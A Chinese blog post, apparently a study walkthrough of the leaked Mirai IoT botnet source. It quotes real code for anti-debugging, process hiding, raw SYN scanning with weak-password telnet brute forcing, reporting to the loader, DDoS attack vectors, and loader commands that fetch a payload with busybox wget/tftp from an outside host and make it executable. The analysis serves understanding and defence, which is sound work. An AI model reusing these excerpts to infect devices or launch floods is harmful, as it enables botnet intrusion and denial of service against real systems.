代码可以从https://github.com/jgamblin/Mirai-Source-Code下载。

一些基本的名称是这样的。攻击者将部署一个Commad & ControlCNC 的节点和一个loader 的服务器,然后将感染的设备称为bot,并在其中运行程序payload

Marai 各个部分的主要功能如下:

  • loader(loader/src): 监听bot的report,并上传payload到要感染的设备
  • cnc(mirai/cnc): 即控制服务器,主要功能是处理用户登录和下发命令
  • bot(mirai/bot): 运行僵尸程序

注:源码中其它部分(mirai/toolsscript/dlr/)不再关注。

代码中,CNC部分是由Go语言编写的,余下都由C语言编码完成。因此我们需要Go语言的环境。

Mirai的主要感染途径是通过设备的默认密码。在感染后,可以通过ssh和Telnet连接对其他设备进行感染,或在cnc的指挥下对其它网络设备发起DDos攻击。

Cnc 部分

cnc目录主要提供用户管理的接口、处理攻击请求并下发攻击命令。这个目录要求在安装的主机中存在Mysql。它会将管理员和bot的数据,甚至可以使用的命令以及历史存放在数据库中。

1
2
3
4
5
6
admin.go      处理用户登录、创建新用户以及进行攻击
api.go 说明api的处理方式
attack.go 处理如何进行攻击
clientList.go 管理感染的bot节点
database.go 数据库管理,包括用户登录验证、新建用户、白名单、验证用户的攻击请求
main.go 程序入口,开启23端口和101端口的监听

main.go中可以看到监听了23和101并分别调用了initialHandlerapiHandler两个函数。

首先跟随initialHandler,若接受数据长度为4,且分别为00 00 00 x(x>0)时,为bot监听,将对应的bot主机添加为新的bot。

否则,则判断是否是管理员并进行登录,如果成功登录,则可以通过命令发动攻击。而且如果是管理员账号,还可以通过命令执行管理员帐户添加adduser和查询bot数量botcount等。

ApiHandler中则是提供了另一种访问方式,是为了更方便地调用bot进行攻击而设置的。

可以在attack.go中看到,Mirai所支持的攻击类型包括udp、vse、dns、syn、ack、stomp、GRE ip flood、GRE Ethernet flood、http等。(还有很多我并不认识。)当然这些进行攻击的类型都只是发一段特定的代码到bot,然后由所有bot一起进行即可。

Bot 部分(Pyload)

bot源码主要有:

  • attack模块:解析下发的命令,发起DoS攻击
  • scanner模块:扫描telnet弱口令登录,上报给loader
  • killer模块:占用端口,kill同类僵尸(排除异己)
  • public模块: utils

但是在此之前先看看main函数中启动之前一通熟练地操作:

  • 首先阻止gdbwatchdog的调试。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // Signal based control flow
    sigemptyset(&sigs);
    sigaddset(&sigs, SIGINT);
    sigprocmask(SIG_BLOCK, &sigs, NULL);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTRAP, &anti_gdb_entry);

    // Prevent watchdog from rebooting device
    if ((wfd = open("/dev/watchdog", 2)) != -1 ||
    (wfd = open("/dev/misc/watchdog", 2)) != -1)
    {
    int one = 1;

    ioctl(wfd, 0x80045704, &one);
    close(wfd);
    wfd = 0;
    }

    gdb 会通过信号来停止程序,既然如此,就一旦接受到 SIGTRAP就直接退出以禁止调试。

    然后向在特定位置的看门狗程序发送控制码0×80045704禁用看门狗,以防止自动重启。通常在嵌入式设备中,固件会实现一种叫看门狗(watchdog)的功能,有一个进程会不断的向看门狗进程发送一个字节数据,这个过程叫喂狗。如果喂狗过程结束,那么设备就会重启,因此为了防止设备重启,Mirai关闭了看门狗功能。

  • 然后是调用ensure_single_instance()用于确保只有一个实例的程序在运行。

    方法是绑定一个特定的端口48101。如果有进程已经占用了这个端口,就直接把它kill掉,这样每个同样的程序绑定这个端口的时候,就会被下一个启动的实例给kill掉。

    但是同样,这个特点是检测网络设备中是否存在Mirai的最高效的检测方法。

  • 隐藏进程。

    修改args[0]即运行程序的命令。

    将进程名变为随机的字符。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // Hide argv0
    name_buf_len = ((rand_next() % 4) + 3) * 4;
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    util_strcpy(args[0], name_buf);

    // Hide process name
    name_buf_len = ((rand_next() % 6) + 3) * 4;
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    prctl(PR_SET_NAME, name_buf);
  • 初始化攻击 attack_init()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    BOOL attack_init(void)
    {
    int i;

    add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
    add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
    add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
    add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);

    add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
    add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
    add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);

    add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
    add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);

    //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
    add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);

    return TRUE;
    }

在这之中,只是添加了一些可以进攻的方式,还没有实际进行攻击,所以这里面的函数我们稍后再看。

Killer 模块 killer.c

main()函数在此后调用了killer模块 killer_init()Killer模块主要是负责排除其他同类的病毒,以防止被抢走控制权。

在这个函数中,它会首先检测占用并杀死可能存在的进程,然后直接抢占 22/23/80 端口。这主要是为了排除异己,防止其他程序通过ssh/telnet/http的方式获得控制权。

在此后,他还会搜索特定的文件夹/proc/$pid/exe,在这个文件夹中包含了所有正在运行中的进程的程序链接,然后它通过链接直接看程序的真实名称是否含有.anime,一旦含有就直接杀死。

实际上这个程序在添加了其他逻辑之后,很快就能针对其他程序进行清除。这里大概只是用anime做了一个典型而已。毕竟Mirai还扫描了/proc/$pid/status文件,在这个文件中存着进程的一些信息,Killer模块也能根据这些信息对特定的进程进行杀死。

Scanner 模块 Scanner.c

在killer之后,在主循环之前,main()调用了一个Scanner模块scanner_init()。Scanner即扫描器,他所做的是扫描网络中其它未被感染的主机,然后用弱口令尝试登陆,并将能登陆的主机的信息上报给loader,然后由loader对主机进行侵略。

在此模块中,扫描的ip地址是随机生成的,并会排除一定的ip地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
do
{
tmp = rand_next();

o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);

在此后列出了一系列的弱密码。

之后是快速扫描的秘密所在,下面这段代码批量对23和2323端口发送 SYN 数据包,只对有response的地址进行响应。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if (fake_time != last_spew)
{
last_spew = fake_time;

for (i = 0; i < SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = get_random_ip();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

if (i % 10 == 0)
{
tcph->dest = htons(2323);
}
else
{
tcph->dest = htons(23);
}
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;

sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
}
}

由于使用的是UDP协议,要从获得的数据包中快速筛选出真正的响应的包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
break;

if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr != LOCAL_ADDR)
continue;
if (iph->protocol != IPPROTO_TCP)
continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
continue;
if (tcph->dest != source_port)
continue;
if (!tcph->syn)
continue;
if (!tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->fin)
continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;

我们会过滤掉:

  • 不完整的包
  • 目标非本机地址的包
  • 目标非TCP协议的包
  • 目标来源非23或2323的包
  • 目标非特定端口的包
  • 是SYN或ACK信号
  • 不是RST和FIN信号
  • 最后还判断其ACK序列号是否与前一个相同

之后将存活的设备保存到一个数组中。然后随机选取之前设置的弱口令进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

if (FD_ISSET(conn->fd, &fdset_wr))
{
int err = 0, ret = 0;
socklen_t err_len = sizeof (err);

ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err == 0 && ret == 0)
{
conn->state = SC_HANDLE_IACS;
conn->auth = random_auth_entry();
conn->rdbuf_pos = 0;
#ifdef DEBUG
printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
#endif
}
else
{
#ifdef DEBUG
printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
#endif
close(conn->fd);
conn->fd = -1;
conn->tries = 0;
conn->state = SC_CLOSED;
continue;
}
}

然后发送一系列命令判断登录成功与否。若成功,尝试一些操作,并上报loader。

上报loader的格式如下:

1
2
3
4
5
6
7
8
9

uint8_t zero = 0;
send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);

Attack 模块

在做完了上面这两个模块的内容之后,就进入了bot的主循环,它会主动连接CNC节点并等待CNC节点的指令使用attackparse进行解析。

在这里有个小trick,在前面是设定了CNC节点的IP地址和端口FAKE_CNC_ADDRFAKE_CNC_PORT,但是实际在连接中,这是一个虚假的IP地址和端口,用于迷惑对这个代码进行debug的开发者。真正的IP和端口是在table.c中硬编码写入的cnc.changeme.com8.8.8.8做DNS解析之后得到的,然后在连接前使用resolve_func()函数对地址进行了修改写入了真的IP地址。

在建立连接后,bot根据接收到的指令(目标数,IP地址,掩码),对目标进行攻击。

attack_app.cattack_gre.cattack_tcp.cattack_udp.c中分别定义了四大类的攻击类型,然后使用函数指针模拟多态地进行调用。其中攻击的方式大多是通过socket建立大量的SYN包,然后发给目标地址。这里具体就不提。

Loader 部分

loader代码的功能是向被感染设备上传相应架构的payload文件。

1
2
3
4
5
6
7
headers/       头文件目录
binary.c 将bins目录下的文件读取到内存中,以echo方式上传payload文件时用到
connection.c 判断loader和感染设备telnet交互过程中的状态信息
main.c loader主函数
server.c 向感染设备发起telnet交互,上传payload文件
telnet_info.c 解析约定格式的telnet信息
util.c 一些常用的公共函数

Loader中存放了针对各个平台编译后的可执行文件,其功能是用于加载Mirai的bot程序。在启动之初就会判断这个文件夹是否存在,然后启用了一个epoll架构的简单服务器,一旦有新的连接就启动一个新的worker线程。

在worker线程中,维护了一个状态机,即列出了几种状态,然后在状态之间转换。大概是为了应付一些随时要求验证的需求。

首先woker线程使用scanner提供的IP地址和账户密码信息登录IOT设备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
case TELNET_USER_PROMPT:
consumed = connection_consume_login_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.user);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_PASS_PROMPT;
}
break;
case TELNET_PASS_PROMPT:
consumed = connection_consume_password_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.pass);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING
}
break;

首先会执行/bin/busybox ps/bin/busybox cat /proc/mounts命令查看设备挂载的分区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
                    case TELNET_VERIFY_LOGIN:
consumed = connection_consume_verify_login(conn);
if (consumed)
{
ATOMIC_INC(&wrker->srv->total_logins);
#ifdef DEBUG
printf("[FD%d] Succesfully logged in\n", ev->data.fd);
#endif
util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_PS;
}
break;
case TELNET_PARSE_PS:
if ((consumed = connection_consume_psoutput(conn)) > 0)
{
util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_MOUNTS;
}

然后进行创建文件、使用chmod命令调整文件权限至777,之后使用cpuinfo命令判断设备运行平台,再使用wgettftpecho三种方式将对应版本的恶意可执行文件上传至IOT设备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
                            switch (conn->info.upload_method)
{
case UPLOAD_ECHO:
conn->state_telnet = TELNET_UPLOAD_ECHO;
conn->timeout = 30;
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
#ifdef DEBUG
printf("echo\n");
#endif
break;
case UPLOAD_WGET:
conn->state_telnet = TELNET_UPLOAD_WGET;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);
#ifdef DEBUG
printf("wget\n");
#endif
break;
case UPLOAD_TFTP:
conn->state_telnet = TELNET_UPLOAD_TFTP;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip);
#ifdef DEBUG
printf("tftp\n");
#endif
break;
}

在完成装载之后,还会根据下载的类型,运行相应的程序,到了这里,整个loader的工作才是做完了。

总结

花了蛮长时间,实际也是匆匆扫过。所以有些地方可以不甚仔细。

Mirai的程序,感觉与之前看的工业的代码似乎不完全一样,而且觉得有些地方仍有改进的余地。我感觉这是作者故意留了代码变异的空间,亦或者是根本没有完成。(代码中的DEBUG宏数量有点太多了。)

Mirai是瞄准IoT 设备的弱口令问题,因为很多人并不很在意物联网设备的安全问题,甚至会直接使用初始的用户名与密码,这样会造成物联网设备的大量沦陷。通过巨量的僵尸网络,恶意代码控制者可以进行DDos攻击以瘫痪网络服务器。

而随着物联网设备的应用拓宽,恐怕问题并不止于网络的DDos,更多的关于隐私或者其他的方面的问题会出现其中。我想这才是应该担忧的问题。

参考资料

  1. https://paper.seebug.org/142/#21-payload
  2. https://www.jianshu.com/p/9a460a3723f8
  3. http://blog.nsfocus.net/mirai-source-analysis-report/